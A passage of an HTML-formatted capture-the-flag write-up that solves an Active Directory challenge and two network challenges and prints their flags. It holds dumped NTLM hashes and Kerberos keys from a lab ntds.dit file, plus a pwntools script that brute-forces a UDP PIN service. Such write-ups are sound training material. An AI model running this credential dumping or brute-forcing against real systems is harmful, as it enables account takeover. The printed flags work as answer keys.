&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; PEK &lt;span class=&quot;c&quot;&gt;# 0 found and decrypted: db591b9546c39acc89bc2eb9d943a927&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; Reading and decrypting hashes from /home/jpdias/Projects/oposec-christmas-22/Active Directory/ntds.dit 
Administrator:500:aad3b435b51404eeaad3b435b51404ee:ac1dbef8523bafece1428e067c1b114f:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WIN-AG9BSPKRNKB&lt;span class=&quot;nv&quot;&gt;$:&lt;/span&gt;1001:aad3b435b51404eeaad3b435b51404ee:870dc1dcd1b50a8f04472485c3e445c1:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:4dbcaca1dfa95d13b246c66a6fee6c7f:::
user10:1104:aad3b435b51404eeaad3b435b51404ee:ac1dbef8523bafece1428e067c1b114f:::
maria:1105:aad3b435b51404eeaad3b435b51404ee:ac1dbef8523bafece1428e067c1b114f:::
john:1106:aad3b435b51404eeaad3b435b51404ee:ac1dbef8523bafece1428e067c1b114f:::
thomas:1107:aad3b435b51404eeaad3b435b51404ee:ac1dbef8523bafece1428e067c1b114f:::
sneakyuser:1108:aad3b435b51404eeaad3b435b51404ee:ac1dbef8523bafece1428e067c1b114f:::
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; Kerberos keys from /home/jpdias/Projects/oposec-christmas-22/Active Directory/ntds.dit 
WIN-AG9BSPKRNKB&lt;span class=&quot;nv&quot;&gt;$:&lt;/span&gt;aes256-cts-hmac-sha1-96:105437447f915bb677f66b5ec17dab9ae9700dfb5b068d8d52e959c1dd378ac2
WIN-AG9BSPKRNKB&lt;span class=&quot;nv&quot;&gt;$:&lt;/span&gt;aes128-cts-hmac-sha1-96:6d800550e0fbfdeb42cd1fb013b71222
WIN-AG9BSPKRNKB&lt;span class=&quot;nv&quot;&gt;$:&lt;/span&gt;des-cbc-md5:b04561fe194cb534
krbtgt:aes256-cts-hmac-sha1-96:7cbaa71e3119169ec41d642bc9ce7fd3a0e408ee4e1d7865c62edf311b018218
krbtgt:aes128-cts-hmac-sha1-96:897496dd3737a6523b63e04b2d275b8a
krbtgt:des-cbc-md5:6b7a91d940a77a2f
user10:aes256-cts-hmac-sha1-96:38b0bd0f4366e1ec84c22da5a44f3222ceabfe3a4bb0556ef1ca036b9207779f
user10:aes128-cts-hmac-sha1-96:1098796a633a40dfb761ffe4ba4e8ab4
user10:des-cbc-md5:6bc8d97c92e31c13
maria:aes256-cts-hmac-sha1-96:28652e7eb642c5fb72dc6319c8277c548d4e047edde7d47cb7146a807c76110e
maria:aes128-cts-hmac-sha1-96:e1a1949b1e209c833b49aa8e974da8ee
maria:des-cbc-md5:758cd9dab07a5151
john:aes256-cts-hmac-sha1-96:252973000b5100f74fa1e86416fa70ff4114b0310ef774e126a9659d4780d7d3
john:aes128-cts-hmac-sha1-96:2beef7900a25e473a9448a0cfedcfbe3
john:des-cbc-md5:15524949b39279f7
thomas:aes256-cts-hmac-sha1-96:80efbc413a0b3a4f6b0669a055543591b30fb6dfbd0ea086fbccf5829adce7c8
thomas:aes128-cts-hmac-sha1-96:a4f3d94c073cda99a452e89a42ecf124
thomas:des-cbc-md5:bcdcd9e9cbb9d3c1
sneakyuser:aes256-cts-hmac-sha1-96:6e06d087eda3b232a7d03624154a8117f09635e8f49450b7c18e92d37b4694cb
sneakyuser:aes128-cts-hmac-sha1-96:71b81137f9c21e242b67e7552065e8f9
sneakyuser:des-cbc-md5:d092ce91ba029104
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; Cleaning up... 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;So we have a lot of info, but no flag. After some more searching and messing around I found out that we can dump the tables from the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ntds.dit&lt;/code&gt;  file&lt;sup id=&quot;fnref:1&quot; role=&quot;doc-noteref&quot;&gt;&lt;a href=&quot;#fn:1&quot; class=&quot;footnote&quot; rel=&quot;footnote&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;. This will create a new directory, called &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ntds.dit.export&lt;/code&gt; with the dumped tables.&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;esedbexport &lt;span class=&quot;nt&quot;&gt;-m&lt;/span&gt; tables Active&lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;Directory/ntds.dit
esedbexport 20220806

Opening file.
Database &lt;span class=&quot;nb&quot;&gt;type&lt;/span&gt;: Unknown.
Exporting table 1 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;MSysObjects&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; out of 13.
Exporting table 2 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;MSysObjectsShadow&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; out of 13.
Exporting table 3 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;MSysObjids&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; out of 13.
Exporting table 4 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;MSysLocales&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; out of 13.
Exporting table 5 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;datatable&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; out of 13.
Exporting table 6 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;hiddentable&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; out of 13.
Exporting table 7 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;link_history_table&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; out of 13.
Exporting table 8 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;link_table&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; out of 13.
Exporting table 9 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;quota_rebuild_progress_table&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; out of 13.
Exporting table 10 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;quota_table&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; out of 13.
Exporting table 11 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;sdpropcounttable&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; out of 13.
Exporting table 12 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;sdproptable&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; out of 13.
Exporting table 13 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;sd_table&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; out of 13.
Export completed.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now that we have (hopefully) all the data extracted, we can just &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;grep&lt;/code&gt; and see if we get something.&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;grep&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-rnw&lt;/span&gt; flag &lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt;

flag&lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;ClearBackupsCanPwnU&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;In a Windows machine you could use &lt;a href=&quot;https://github.com/MichaelGrafnetter/DSInternals&quot;&gt;DSInternals&lt;/a&gt; to quickly dump all the data and find the flag more easily.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Flag&lt;/strong&gt;: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;flag{ClearBackupsCanPwnU}&lt;/code&gt;&lt;/p&gt;

&lt;h2 id=&quot;network&quot;&gt;Network&lt;/h2&gt;

&lt;h3 id=&quot;867-cfr-100-pts&quot;&gt;867 CFR (100 pts)&lt;/h3&gt;

&lt;blockquote&gt;
  &lt;p&gt;867 CFR is a protocol for sending data across networks. It is connectionless, meaning it does not establish a dedicated connection between sender and receiver. This makes it faster but less reliable than other transport protocols. 867 CFR is often used for real-time applications such as gaming and VoIP, and for low-overhead services like DNS.
Weird stuff! Can you have a look? xx.isymra.22samxopo (344)&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;So, 867 RFC, let’s do some reading. &lt;a href=&quot;https://www.rfc-editor.org/rfc/rfc867&quot;&gt;Daytime Protocol&lt;/a&gt;, &lt;em&gt;A daytime service (UDP or TCP) simply sends a the current date and time as a character string without regard to the input.&lt;/em&gt; &lt;em&gt;…wut?&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;And several hours have passed, and I was lost. Taking a break, and looking at it again, all made sense, everything is in reverse order! &lt;del&gt;OMFG so much time has been lost!&lt;/del&gt;&lt;/p&gt;

&lt;p&gt;So, again, RFC 768 describes User Datagram Protocol (UDP). Something familiar now! Let’s connect!&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;nc &lt;span class=&quot;nt&quot;&gt;-u&lt;/span&gt;  opoxmas22.armysi.cc 443
a
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;eep_eed_uoy&lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;galf
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Flag&lt;/strong&gt;: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;flag{you_dee_pee}&lt;/code&gt;&lt;/p&gt;

&lt;h3 id=&quot;whos-there-200-pts&quot;&gt;Who’s There? (200 pts)&lt;/h3&gt;

&lt;blockquote&gt;
  &lt;p&gt;I do not have a physical body, but I am here to help you with any questions you may have, give me a PIN, and I will tell you what to do next!&lt;/p&gt;

  &lt;p&gt;opoxmas22.example.com (22222) looks interesting!&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;We have a UDP based service that requests a PIN (let’s assume a 4 digit pin). So 10 000 possible combinations… Easy enough to do a script (with some timeout and retry logic because sometimes things went wrong).&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kn&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;itertools&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;product&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;pwn&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;encoding&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;utf-8&apos;&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# your list needs be all-characters
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;lst&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&apos;0&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;1&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;2&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;3&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;4&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;5&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;6&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;7&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;8&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;9&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;join&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;item&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;item&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;product&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;lst&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;repeat&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)]&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;r&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;remote&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&apos;opoxmas22.armysi.cc&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;22222&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;typ&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;udp&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;timeout&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;r&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;send&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;bytearray&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;encoding&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;res&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;r&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;recv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;timeout&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;encoding&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;res&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;r&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;close&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;r&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;remote&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&apos;opoxmas22.armysi.cc&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;22222&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;typ&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;udp&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;r&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;send&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;bytearray&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;encoding&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;res&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;r&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;recv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;timeout&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;encoding&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;res&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;res&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;WRONG PIN!&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;PIN:&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;res&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;new_result&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;re&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;findall&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&apos;[0-9]+&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;res&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;new_result&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;new_result&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
                &lt;span class=&quot;nb&quot;&gt;exit&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;r&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;remote&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&apos;opoxmas22.armysi.cc&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;new_result&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;typ&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;udp&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;r&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;send&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;bytearray&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;new_result&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;encoding&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;res&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;r&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;recv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;timeout&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;encoding&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&amp;gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;res&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

    &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# interactive mode
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;r&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;close&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# r.interactive()
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;And we have our first PIN, 0000 &lt;em&gt;puff&lt;/em&gt;… After guessing the PIN, we have a series of prompts that give us a new port and a new PIN to be used. Since I didn’t know how many redirects there would be, I just programmed the script to automatically parse the message and do a new connection in chain. And that’s how we get our flag!&lt;/p&gt;

